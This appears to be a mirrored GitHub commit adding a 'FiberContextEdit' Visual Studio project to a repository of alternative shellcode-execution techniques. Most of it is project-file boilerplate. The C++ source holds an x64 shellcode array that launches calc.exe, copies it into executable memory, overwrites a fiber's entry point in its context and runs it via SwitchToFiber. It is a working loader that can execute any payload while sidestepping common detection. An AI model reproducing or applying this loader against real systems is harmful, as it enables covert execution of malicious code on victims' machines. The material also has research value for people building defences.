mirror of
https://github.com/aahmad097/AlternativeShellcodeExec
synced 2026-06-06 15:14:28 +00:00
Adding execution through Fiber Context editing. Not the same as CreateFiber(PtrToShellcode)
This commit is contained in:
alfarom256
@@ -49,6 +49,8 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SymFindFileInPath", "SymFin
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EndProject
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Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "InitOnceExecuteOnce", "InitOnceExecuteOnce\InitOnceExecuteOnce.vcxproj", "{92EE01BF-6B18-44F2-AC69-29D9D7920D6E}"
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EndProject
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Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FiberContextEdit", "FiberContextEdit\FiberContextEdit.vcxproj", "{1E97F40F-E056-4468-94EA-15636B98B5D0}"
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EndProject
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Global
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GlobalSection(SolutionConfigurationPlatforms) = preSolution
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Debug|x64 = Debug|x64
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@@ -241,6 +243,14 @@ Global
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{92EE01BF-6B18-44F2-AC69-29D9D7920D6E}.Release|x64.Build.0 = Release|x64
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{92EE01BF-6B18-44F2-AC69-29D9D7920D6E}.Release|x86.ActiveCfg = Release|Win32
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{92EE01BF-6B18-44F2-AC69-29D9D7920D6E}.Release|x86.Build.0 = Release|Win32
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{1E97F40F-E056-4468-94EA-15636B98B5D0}.Debug|x64.ActiveCfg = Debug|x64
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{1E97F40F-E056-4468-94EA-15636B98B5D0}.Debug|x64.Build.0 = Debug|x64
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{1E97F40F-E056-4468-94EA-15636B98B5D0}.Debug|x86.ActiveCfg = Debug|Win32
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{1E97F40F-E056-4468-94EA-15636B98B5D0}.Debug|x86.Build.0 = Debug|Win32
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{1E97F40F-E056-4468-94EA-15636B98B5D0}.Release|x64.ActiveCfg = Release|x64
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{1E97F40F-E056-4468-94EA-15636B98B5D0}.Release|x64.Build.0 = Release|x64
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{1E97F40F-E056-4468-94EA-15636B98B5D0}.Release|x86.ActiveCfg = Release|Win32
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{1E97F40F-E056-4468-94EA-15636B98B5D0}.Release|x86.Build.0 = Release|Win32
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EndGlobalSection
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GlobalSection(SolutionProperties) = preSolution
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HideSolutionNode = FALSE
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@@ -0,0 +1,147 @@
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<?xml version="1.0" encoding="utf-8"?>
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<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
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<ItemGroup Label="ProjectConfigurations">
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<ProjectConfiguration Include="Debug|Win32">
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<Configuration>Debug</Configuration>
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<Platform>Win32</Platform>
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</ProjectConfiguration>
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<ProjectConfiguration Include="Release|Win32">
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<Configuration>Release</Configuration>
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<Platform>Win32</Platform>
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</ProjectConfiguration>
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<ProjectConfiguration Include="Debug|x64">
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<Configuration>Debug</Configuration>
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<Platform>x64</Platform>
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</ProjectConfiguration>
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<ProjectConfiguration Include="Release|x64">
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<Configuration>Release</Configuration>
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<Platform>x64</Platform>
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</ProjectConfiguration>
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</ItemGroup>
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<PropertyGroup Label="Globals">
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<VCProjectVersion>16.0</VCProjectVersion>
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<Keyword>Win32Proj</Keyword>
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<ProjectGuid>{1e97f40f-e056-4468-94ea-15636b98b5d0}</ProjectGuid>
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<RootNamespace>FiberContextEdit</RootNamespace>
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<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
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</PropertyGroup>
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<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
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<ConfigurationType>Application</ConfigurationType>
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<UseDebugLibraries>true</UseDebugLibraries>
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<PlatformToolset>v142</PlatformToolset>
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<CharacterSet>Unicode</CharacterSet>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
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<ConfigurationType>Application</ConfigurationType>
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<UseDebugLibraries>false</UseDebugLibraries>
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<PlatformToolset>v142</PlatformToolset>
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<WholeProgramOptimization>true</WholeProgramOptimization>
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<CharacterSet>Unicode</CharacterSet>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
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<ConfigurationType>Application</ConfigurationType>
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<UseDebugLibraries>true</UseDebugLibraries>
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<PlatformToolset>v142</PlatformToolset>
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<CharacterSet>Unicode</CharacterSet>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
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<ConfigurationType>Application</ConfigurationType>
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<UseDebugLibraries>false</UseDebugLibraries>
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<PlatformToolset>v142</PlatformToolset>
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<WholeProgramOptimization>true</WholeProgramOptimization>
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<CharacterSet>Unicode</CharacterSet>
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</PropertyGroup>
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<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
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<ImportGroup Label="ExtensionSettings">
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</ImportGroup>
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<ImportGroup Label="Shared">
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</ImportGroup>
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<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
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<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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</ImportGroup>
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<PropertyGroup Label="UserMacros" />
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
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<LinkIncremental>true</LinkIncremental>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
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<LinkIncremental>false</LinkIncremental>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
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<LinkIncremental>true</LinkIncremental>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
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<LinkIncremental>false</LinkIncremental>
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</PropertyGroup>
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<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
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<ClCompile>
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<WarningLevel>Level3</WarningLevel>
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<SDLCheck>true</SDLCheck>
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<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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<ConformanceMode>true</ConformanceMode>
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</ClCompile>
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<Link>
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<SubSystem>Console</SubSystem>
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<GenerateDebugInformation>true</GenerateDebugInformation>
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</Link>
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</ItemDefinitionGroup>
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<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
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<ClCompile>
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<WarningLevel>Level3</WarningLevel>
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<FunctionLevelLinking>true</FunctionLevelLinking>
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<IntrinsicFunctions>true</IntrinsicFunctions>
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<SDLCheck>true</SDLCheck>
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<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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<ConformanceMode>true</ConformanceMode>
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</ClCompile>
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<Link>
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<SubSystem>Console</SubSystem>
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<EnableCOMDATFolding>true</EnableCOMDATFolding>
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<OptimizeReferences>true</OptimizeReferences>
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<GenerateDebugInformation>true</GenerateDebugInformation>
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</Link>
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</ItemDefinitionGroup>
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<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
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<ClCompile>
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<WarningLevel>Level3</WarningLevel>
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<SDLCheck>true</SDLCheck>
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<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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<ConformanceMode>true</ConformanceMode>
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</ClCompile>
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<Link>
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<SubSystem>Console</SubSystem>
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<GenerateDebugInformation>true</GenerateDebugInformation>
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</Link>
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</ItemDefinitionGroup>
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<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
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<ClCompile>
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<WarningLevel>Level3</WarningLevel>
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<FunctionLevelLinking>true</FunctionLevelLinking>
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<IntrinsicFunctions>true</IntrinsicFunctions>
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<SDLCheck>true</SDLCheck>
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<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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<ConformanceMode>true</ConformanceMode>
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</ClCompile>
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<Link>
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<SubSystem>Console</SubSystem>
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<EnableCOMDATFolding>true</EnableCOMDATFolding>
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<OptimizeReferences>true</OptimizeReferences>
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<GenerateDebugInformation>true</GenerateDebugInformation>
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</Link>
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</ItemDefinitionGroup>
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<ItemGroup>
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<ClCompile Include="Source.cpp" />
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</ItemGroup>
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<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
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<ImportGroup Label="ExtensionTargets">
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</ImportGroup>
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</Project>
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@@ -0,0 +1,22 @@
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<?xml version="1.0" encoding="utf-8"?>
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<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
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<ItemGroup>
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<Filter Include="Source Files">
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<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
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<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
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</Filter>
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<Filter Include="Header Files">
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<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
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<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
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</Filter>
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<Filter Include="Resource Files">
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<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
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<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
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</Filter>
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</ItemGroup>
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<ItemGroup>
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<ClCompile Include="Source.cpp">
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<Filter>Source Files</Filter>
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</ClCompile>
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</ItemGroup>
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</Project>
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@@ -0,0 +1,112 @@
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// alfarom256
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#include <Windows.h>
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#include <stdio.h>
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void dummy() {
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puts("Hello Fiber from Dummy");
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}
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// calc shellcode
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unsigned char op[] =
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"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
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"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
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"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
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"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
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"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
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"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
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"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
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"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
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"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
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"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
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"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
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"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
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"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
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"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
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"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
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"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
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"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
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"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
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"\x63\x2e\x65\x78\x65\x00";
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//https://github.com/reactos/reactos/blob/2e1aeb12dfd8b44b4b57d377b59ef347dfe3386e/dll/win32/kernel32/client/fiber.c
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//https://doxygen.reactos.org/dd/d83/ndk_2ketypes_8h_source.html#l00179
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// s/o to ch3rn0byl and s4r1n
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// am I doing s00p3r c001 1337 gr33tz right?
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int main() {
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/*
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_TEB.SameTebFlags = _TEB + 0x17ee
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dt _TEB:
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<truncated>
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+0x17ee SameTebFlags : Uint2B
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+0x17ee SafeThunkCall : Pos 0, 1 Bit
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+0x17ee InDebugPrint : Pos 1, 1 Bit
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+0x17ee HasFiberData : Pos 2, 1 Bit
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+0x17ee SkipThreadAttach : Pos 3, 1 Bit
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+0x17ee WerInShipAssertCode : Pos 4, 1 Bit
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+0x17ee RanProcessInit : Pos 5, 1 Bit
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+0x17ee ClonedThread : Pos 6, 1 Bit
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+0x17ee SuppressDebugMsg : Pos 7, 1 Bit
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+0x17ee DisableUserStackWalk : Pos 8, 1 Bit
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+0x17ee RtlExceptionAttached : Pos 9, 1 Bit
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+0x17ee InitialThread : Pos 10, 1 Bit
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+0x17ee SessionAware : Pos 11, 1 Bit
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+0x17ee LoadOwner : Pos 12, 1 Bit
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+0x17ee LoaderWorker : Pos 13, 1 Bit
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+0x17ee SkipLoaderInit : Pos 14, 1 Bit
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<truncated>
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*/
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//_TEB* teb = NtCurrentTeb();
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//NT_TIB* tib = (NT_TIB*)teb;
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//void* pTebFlags = (void*)((uintptr_t)teb + 0x17ee);
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//char tebFlags = *(char*)pTebFlags; // it's actually a WORD but I don't care about the second byte
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//
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//BOOL hasFibData = (tebFlags >> 2) & 0b1; // False here, as the current thread is not yet a fiber
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//
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//printf("TebFlag => 0x%x\n", tebFlags);
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//printf("Has Fiber Data : %s\n", (hasFibData ? "true" : "false"));
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//printf("Fiber Data Ptr: %p\n", tib->FiberData);
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//https://github.com/reactos/reactos/blob/2e1aeb12dfd8b44b4b57d377b59ef347dfe3386e/dll/win32/kernel32/client/fiber.c#L256
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ConvertThreadToFiber(NULL);
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//tebFlags = *(char*)pTebFlags;
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//hasFibData = (tebFlags >> 2) & 0b1; // True here after call to ConvertThreadToFiber
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//
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//printf("TebFlag => 0x%x\n", tebFlags);
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//printf("Has Fiber Data : %s\n", (hasFibData ? "true" : "false"));
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//printf("Fiber Data Ptr: %p\n", tib->FiberData);
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//
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/*
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Important to note that tib->FiberData == __readgsqword(0x20)
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*/
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LPVOID lpFiber = CreateFiber(0x100, (LPFIBER_START_ROUTINE)dummy, NULL);
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LPVOID addr = VirtualAlloc(NULL, sizeof(op), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
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RtlMoveMemory(addr, op, sizeof(op));
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if (lpFiber == NULL) {
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printf("GLE : %d", GetLastError());
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exit(0);
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}
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/*
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Here we are changing the Fiber Context such that the Created Fiber's entry point
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(lpFiber + 0xb0)
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Now points to the newly allocated Shellcode.
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The fiber context resides at the created buffer returned by CreateFiber
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*/
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uintptr_t* tgtFuncAddr = (uintptr_t*)((uintptr_t)lpFiber + 0xB0);
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*tgtFuncAddr = (uintptr_t)addr;
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SwitchToFiber(lpFiber);
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}
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